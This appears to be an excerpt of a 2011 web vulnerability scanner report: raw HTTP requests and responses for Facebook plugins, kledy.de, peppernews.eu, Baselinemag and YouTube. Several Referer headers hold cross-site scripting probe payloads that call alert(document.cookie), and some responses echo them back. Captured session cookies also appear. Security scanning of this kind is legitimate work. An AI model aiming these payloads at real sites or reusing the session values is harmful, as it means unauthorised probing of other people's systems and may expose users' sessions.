Referer: http://www.baselinemag.com/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998523669-New; s_sq=%5B%5BB%5D%5D

Response 1

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:31 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3812

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googl
...[SNIP]...

Request 2

GET /spacer.gif HTTP/1.1
Host: www.baselinemag.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: sessioncookie=a3c496ee62329678ad4d9915421e3c06; successpage=/c/a/IT-Management/Macys-Ramps-Up-Online-Operations-637464/; s_cc=true; s_nr=1296998523669-New; s_sq=%5B%5BB%5D%5D

Response 2

HTTP/1.1 404 Not Found
Server: nginx/0.7.65
Date: Sun, 06 Feb 2011 13:21:34 GMT
Content-Type: text/html
Connection: keep-alive
X-Powered-By: PHP/5.1.6
Content-Length: 3727

<html>
<head>
<title>404 Error Page</title>
</head>

<body>
<script type="text/javascript">
var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
document.write(u
...[SNIP]...
</script>
<script language="JavaScript" type="text/javascript"></script><noscript><a href="http://www.omniture.com" title="Web Analytics"><img
src="http://ziffdavisbaseline.112.2O7.net/b/ss/ziffdavisbaseline/1/H.17--NS/0"
height="1" width="1" border="0" alt="" /></a></noscript>


<center>
<br>
<br>
<table width=500 cellpadding=7 cellspacing=0 border=0>
<tr>
<td align=center><font face=arial size=+1><b>Sorry, the page you requested
was not found.</b></font></td>
</tr>
<tr>
<td><font face=arial size=-1>Please check the URL for proper spelling and
capitalization. If you're having trouble locating a destination on Baseline,
try visiting the <b><a href="http://www.baselinemag.com/">Baseline Home page</a></b>.
Also, you may find what you're looking for if you try searching below.</font></td>
</tr>
<tr>
<td> <table width=100% cellpadding=0 cellspacing=0 border=0 bgcolor=cccccc>
<tr>
<td height=1></td>
</tr>
</table>
<table width=100% cellpadding=10 cellspacing=0 border=0 bgcolor=eeeeee>
<tr>
<td align=center> <form action="/googlecse.html" id="cse-search-box">
<input type="image" name="sa" value="
...[SNIP]...

18.5. http://www.facebook.com/plugins/like.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/plugins/like.php

Request 1

GET /plugins/like.php?href=http%253A%252F%252Fwww.manualsonline.com%252F&layout=standard&show_faces=true&width=450&action=like&font=arial&colorscheme=light&height=80 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://homeappliance.manualsonline.com/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response 1

Request 2

GET /plugins/like.php?href=http%253A%252F%252Fwww.manualsonline.com%252F&layout=standard&show_faces=true&width=450&action=like&font=arial&colorscheme=light&height=80 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response 2

18.6. http://www.facebook.com/plugins/likebox.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.facebook.com
Path:	/plugins/likebox.php

Request 1

GET /plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fa%3Da%23cb%3Df1b4075608%26origin%3Dhttp%253A%252F%252Fwww.pointehilton.com%252Ffd8013e2c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=62&href=http%3A%2F%2Fwww.facebook.com%2Fpointeresortsaz&locale=en_US&sdk=joey&show_faces=false&stream=false&width=310 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Referer: http://www.pointehilton.com/?1e6b8%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E9146d6140e3=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response 1

Request 2

GET /plugins/likebox.php?channel=http%3A%2F%2Fstatic.ak.fbcdn.net%2Fconnect%2Fxd_proxy.php%3Fa%3Da%23cb%3Df1b4075608%26origin%3Dhttp%253A%252F%252Fwww.pointehilton.com%252Ffd8013e2c%26relation%3Dparent.parent%26transport%3Dpostmessage&colorscheme=light&header=false&height=62&href=http%3A%2F%2Fwww.facebook.com%2Fpointeresortsaz&locale=en_US&sdk=joey&show_faces=false&stream=false&width=310 HTTP/1.1
Host: www.facebook.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: campaign_click_url=%2Fcampaign%2Fimpression.php%3Fcampaign_id%3D137675572948107%26partner_id%3Dehow.com%26placement%3Dactivity%26extra_1%3Dhttp%253A%252F%252Fwww.ehow.com%252F%26extra_2%3DUS; datr=8CJHTYhjyotVYfKpZ5B35lnF

Response 2

18.7. http://www.kledy.de/modules/buttons/buttons.php previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.kledy.de
Path:	/modules/buttons/buttons.php

Request 1

GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:17 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:17 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: referrer=1; path=/; domain=.kledy.de
Content-Type: application/javascript
Content-Length: 17516

var a = document.getElementsByTagName('A');

(function ()
{
var s = document.createElement('LINK');
s1 = document.getElementsByTagName('SCRIPT')[0];
s.type = 'text/css';
s.rel = "style
...[SNIP]...
</div>";
   }
if (a[i].href=='' || a[i].href=='http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1') {    form=document.createElement("form");
   if (a[i].href)
    form.action = 'http://www.kledy.de/submit.php?url=' + escape(a[i].href);
   else
    form.action = 'http://www.kledy.de/submit.php?url=http%3A%2F%2Fwww.kledy.de%2Fbookmarks.php%3F18fe2%2522%253E%253Cscript%253Ealert%28document.cookie%29%253C%2Fscript%253Eef67307aec5%3D1';
   form.method = 'post';
   form.id='form'+i;
   a[i].parentNode.appendChild(form);

   if (a[i].rev)
   {
text = document.createElement("textarea");
    text.name = "category";
    text.value= a[i].rev;
    text.style.display='none';
    form.appendChild(text);
   }
   if (a[i].rel)
   {
text = document.createElement("textarea");
    text.name = "tags";
    text.value= a[i].rel;
    text.style.display='none';
    form.appendChild(text);
   }
   if (a[i].title)
   {
text = document.createElement("textarea");
    text.name = "title";
    text.value= a[i].title;
    text.style.display='none';
    form.appendChild(text);
   }
   if (a[i].childNodes.length>0 && a[i].childNodes[0].innerHTML)
   {
text = document.createElement("textarea");
    text.name = "description";
    text.value= a[i].childNodes[0].innerHTML;
    text.style.display='none';
    form.appendChild(text);
   }
   a[i].style.display = 'none';

   div=document.createElement("div");
   a[i].parentNode.appendChild(div);
if(c.match(/( PliggSmall)/))
    div.innerHTML = "<div class='evb_small_wrapper'>\
               <div class='evb_small_vote_count'><a id='xvotes-' href='#' onclick='document.getElementById(\"form"+i+"\").submit();return false;'>0</a></div>\
               <div id='evb_small_vote_button' onclick='document.getElementById(\"form"+i+"\").submit();return false;' onMouseDown='changeSmBgImage()' onMouseUp='unchangeBgImage();'>\
                   <div class='evb_small_vote_text'>Vote</div>\
               </div>\
               <div style='clear:both;'> </div>\
           </div>";
   else
    div
...[SNIP]...

Request 2

GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/ HTTP/1.1
Host: www.kledy.de
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 23:08:43 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Sat, 05 Feb 2011 23:08:43 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: referrer=1; path=/; domain=.kledy.de
Content-Type: application/javascript
Content-Length: 16342

var a = document.getElementsByTagName('A');

(function ()
{
var s = document.createElement('LINK');
s1 = document.getElementsByTagName('SCRIPT')[0];
s.type = 'text/css';
s.rel = "style
...[SNIP]...
</div>";
   }
if (a[i].href=='' || a[i].href=='') {    div=document.createElement("div");
   a[i].parentNode.appendChild(div);
if(c.match(/( PliggSmall)/))
    div.innerHTML = "<div class='evb_small_wrapper'>\
               <div class='evb_small_vote_count'><a id='xvotes-1295164' href='http://www.kledy.de/story.php?title=nicole-richie-plant-angeblich-hochzeit-im-dezember-1295164'>1</a></div>\
               <div id='evb_small_vote_button' onclick='document.location.href=\"http://www.kledy.de/login.php?return=/story.php?title=nicole-richie-plant-angeblich-hochzeit-im-dezember-1295164\"' onMouseDown='changeSmBgImage()' onMouseUp='unchangeBgImage();'>\
                   <div class='evb_small_vote_text'>Vote</div>\
               </div>\
               <div style='clear:both;'> </div>\
           </div>";
   else
    div.innerHTML = "<div class='evb_large_wrapper'>\
               <div class='evb_large_vote_count'><a id='xvotes-1295164' href='http://www.kledy.de/story.php?title=nicole-richie-plant-angeblich-hochzeit-im-dezember-1295164'>1</a></div>\
               <div class='evb_large_vote_text'>Votes</div>\
               <div id='evb_large_button' onclick='document.location.href=\"http://www.kledy.de/login.php?return=/story.php?title=nicole-richie-plant-angeblich-hochzeit-im-dezember-1295164\"' onMouseDown='changeLgBgImage()' onMouseUp='unchangeBgImage();'></div>\
           </div>";
   }
}
}
})()

function changeLgBgImage (image , id) {
// The position change value should be half of the image height. In this case the height of the button image source is 42px, so the value is set to -21px.
document.getElementById('evb_large_button').style.backgroundPosition = '0px -21px';
}
function changeSmBgImage (image , id) {
// The position change value should be half of the image height. In this case the height of the button image source is 34px, so the value is set to -17px
document.getElementById('evb_small_vote_button').style.backgroundPosition = '0px -17px';
}
function unchangeBgImage (image , id) {
document.getElementById('evb_large_button').style.backgroundPosition = '0px 0px';
document.getElementById('e
...[SNIP]...

18.8. http://www.peppernews.eu/templates/SquaretleFive/images/about.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.peppernews.eu
Path:	/templates/SquaretleFive/images/about.gif

Request 1

GET /templates/SquaretleFive/images/about.gif HTTP/1.1
Host: www.peppernews.eu
Proxy-Connection: keep-alive
Referer: http://www.peppernews.eu/?d7d65%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef6336f06cd4=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=47btvqa55udv0p4ltkl1kicifnu5suf1

Response 1

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:50:14 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1345

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...
<p>

The requested URL was not found on this server.

The link on the
<a href="http://www.peppernews.eu/%3fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C/script%253Ef6336f06cd4=1">referring
page</a> seems to be wrong or outdated. Please inform the author of
<a href="http://www.peppernews.eu/%3fd7d65%2522%253E%253Cscript%253Ealert(document.cookie)%253C/script%253Ef6336f06cd4=1">that page</a>
about the error.

</p>
<p>
If you think this is a server error, please contact
the <a href="mailto:info@betterclicks.de">webmaster</a>.

</p>

<h2>Error 404</h2>
<address>
<a href="/">www.peppernews.eu</a><br />

<span>Sun Feb 6 18:50:14 2011<br />
Apache/2.2.10 (Linux/SUSE)</span>
</address>
</body>
</html>

Request 2

GET /templates/SquaretleFive/images/about.gif HTTP/1.1
Host: www.peppernews.eu
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: PHPSESSID=47btvqa55udv0p4ltkl1kicifnu5suf1

Response 2

HTTP/1.1 404 Not Found
Date: Sun, 06 Feb 2011 17:51:17 GMT
Server: Apache/2.2.10 (Linux/SUSE)
Vary: accept-language,accept-charset
Accept-Ranges: bytes
Content-Type: text/html; charset=iso-8859-1
Content-Language: en
Content-Length: 1038

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" l
...[SNIP]...
<p>

The requested URL was not found on this server.

If you entered the URL manually please check your
spelling and try again.

</p>
<p>
If you think this is a server error, please contact
the <a href="mailto:info@betterclicks.de">webmaster</a>.

</p>

<h2>Error 404</h2>
<address>
<a href="/">www.peppernews.eu</a><br />

<span>Sun Feb 6 18:51:17 2011<br />
Apache/2.2.10 (Linux/SUSE)</span>
</address>
</body>
</html>

18.9. http://www.youtube.com/embed/208T0-OLXA8 previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.youtube.com
Path:	/embed/208T0-OLXA8

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:49 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
Set-Cookie: GEO=2489150af21634a306c82d75e51b5d30cwsAAAAzVVOtwdbzTU3P1Q==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 9165

<!DOCTYPE html>
<html>
<head>
<title>YouTube - OwnerIQ Presents ProductIQ</title>

<link rel="stylesheet" href="http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css">

</head>
<body>
<div i
...[SNIP]...
gth_seconds": 129, "allow_embed": 1, "enablejsapi": "0", "sk": "m0oFtGf7AUnmTyf7ptE1Hl3s86_YNbYNC", "allow_ratings": 1, "rel": "1", "jsapicallback": "yt.embed.onPlayerReady", "autoplay": "0", "eurl": "http:\/\/www.owneriq.com\/ownership-targeting?src=728x90_blue", "use_native_controls": false}, "url_v9as2": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf", "params": {"allowscriptaccess": "always", "allowfullscreen": "true", "bgcolor": "#000000"}, "attrs": {"width": "100%", "id": "video-player", "height": "100%"}, "url_v8": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf"},
'ORIGIN': "*"
});
yt.setMsg({
'FLASH_UPGRADE': '\n\n\n\n <div class=\"yt-alert yt-alert-error yt-alert-player yt-rounded\">\n <img src=\"\/\/s.ytimg.com\/yt\/img\/pixel-vfl3z5WfW.gif\" class=\"icon master-sprite\" alt=\"Alert icon\">\n\n <div class=\"yt-alert-content\">\n You need to upgrade your Adobe Flash Player to watch this video. <br> <a href=\"http:\/\/get.adobe.com\/flashplayer\/\">Download it from Adobe.<\/a>\n\n <\/div>\n\n <\/div>\n'
});

yt.embed.writeEmbed();
</script>

</body>
</html>

Request 2

GET /embed/208T0-OLXA8 HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:59 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
Set-Cookie: GEO=3dae573d2d15c9da275088adec6e6da4cwsAAAAzVVOtwdbzTU3P3w==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 9104

<!DOCTYPE html>
<html>
<head>
<title>YouTube - OwnerIQ Presents ProductIQ</title>

<link rel="stylesheet" href="http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css">

</head>
<body>
<div i
...[SNIP]...
gth_seconds": 129, "allow_embed": 1, "enablejsapi": "0", "sk": "m0oFtGf7AUnmTyf7ptE1Hl3s86_YNbYNC", "allow_ratings": 1, "rel": "1", "jsapicallback": "yt.embed.onPlayerReady", "autoplay": "0", "eurl": "", "use_native_controls": false}, "url_v9as2": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf", "params": {"allowscriptaccess": "always", "allowfullscreen": "true", "bgcolor": "#000000"}, "attrs": {"width": "100%", "id": "video-player", "height": "100%"}, "url_v8": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf"},
'ORIGIN': "*"
});
yt.setMsg({
'FLASH_UPGRADE': '\n\n\n\n <div class=\"yt-alert yt-alert-error yt-alert-player yt-rounded\">\n <img src=\"\/\/s.ytimg.com\/yt\/img\/pixel-vfl3z5WfW.gif\" class=\"icon master-sprite\" alt=\"Alert icon\">\n\n <div class=\"yt-alert-content\">\n You need to upgrade your Adobe Flash Player to watch this video. <br> <a href=\"http:\/\/get.adobe.com\/flashplayer\/\">Download it from Adobe.<\/a>\n\n <\/div>\n\n <\/div>\n'
});

yt.embed.writeEmbed();
</script>

</body>
</html>

18.10. http://www.youtube.com/embed/5aWd_-x1oPE previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.youtube.com
Path:	/embed/5aWd_-x1oPE

Request 1

Response 1

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:38 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
Set-Cookie: GEO=d19e70e6a056bd960c6f9877077287edcwsAAAAzVVOtwdbzTU3Pyg==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 9161

<!DOCTYPE html>
<html>
<head>
<title>YouTube - OwnerIQ Presents BrandIQ</title>

<link rel="stylesheet" href="http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css">

</head>
<body>
<div id=
...[SNIP]...
gth_seconds": 102, "allow_embed": 1, "enablejsapi": "0", "sk": "m0oFtGf7AUnmTyf7ptE1Hl3s86_YNbYNC", "allow_ratings": 1, "rel": "1", "jsapicallback": "yt.embed.onPlayerReady", "autoplay": "0", "eurl": "http:\/\/www.owneriq.com\/ownership-targeting?src=728x90_blue", "use_native_controls": false}, "url_v9as2": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf", "params": {"allowscriptaccess": "always", "allowfullscreen": "true", "bgcolor": "#000000"}, "attrs": {"width": "100%", "id": "video-player", "height": "100%"}, "url_v8": "http:\/\/s.ytimg.com\/yt\/swfbin\/cps-vflEg_N6s.swf"},
'ORIGIN': "*"
});
yt.setMsg({
'FLASH_UPGRADE': '\n\n\n\n <div class=\"yt-alert yt-alert-error yt-alert-player yt-rounded\">\n <img src=\"\/\/s.ytimg.com\/yt\/img\/pixel-vfl3z5WfW.gif\" class=\"icon master-sprite\" alt=\"Alert icon\">\n\n <div class=\"yt-alert-content\">\n You need to upgrade your Adobe Flash Player to watch this video. <br> <a href=\"http:\/\/get.adobe.com\/flashplayer\/\">Download it from Adobe.<\/a>\n\n <\/div>\n\n <\/div>\n'
});

yt.embed.writeEmbed();
</script>

</body>
</html>

Request 2

GET /embed/5aWd_-x1oPE HTTP/1.1
Host: www.youtube.com
Proxy-Connection: keep-alive
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VISITOR_INFO1_LIVE=2tNl54hzFtE

Response 2

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:31:48 GMT
Server: Apache
X-Content-Type-Options: nosniff
Set-Cookie: use_hitbox=72c46ff6cbcdb7c5585c36411b6b334edAEAAAAw; path=/; domain=.youtube.com
Set-Cookie: GEO=c69804f810e8884b1b2f8b2d0a49cd8ccwsAAAAzVVOtwdbzTU3P1A==; path=/; domain=.youtube.com
Expires: Tue, 27 Apr 1971 19:44:06 EST
Cache-Control: no-cache
Content-Type: text/html; charset=utf-8
Content-Length: 9100

<!DOCTYPE html>
<html>
<head>
<title>YouTube - OwnerIQ Presents BrandIQ</title>

<link rel="stylesheet" href="http://s.ytimg.com/yt/cssbin/www-embed-vflPrzZNL.css">

</head>
<body>
<div id=
...[SNIP]...
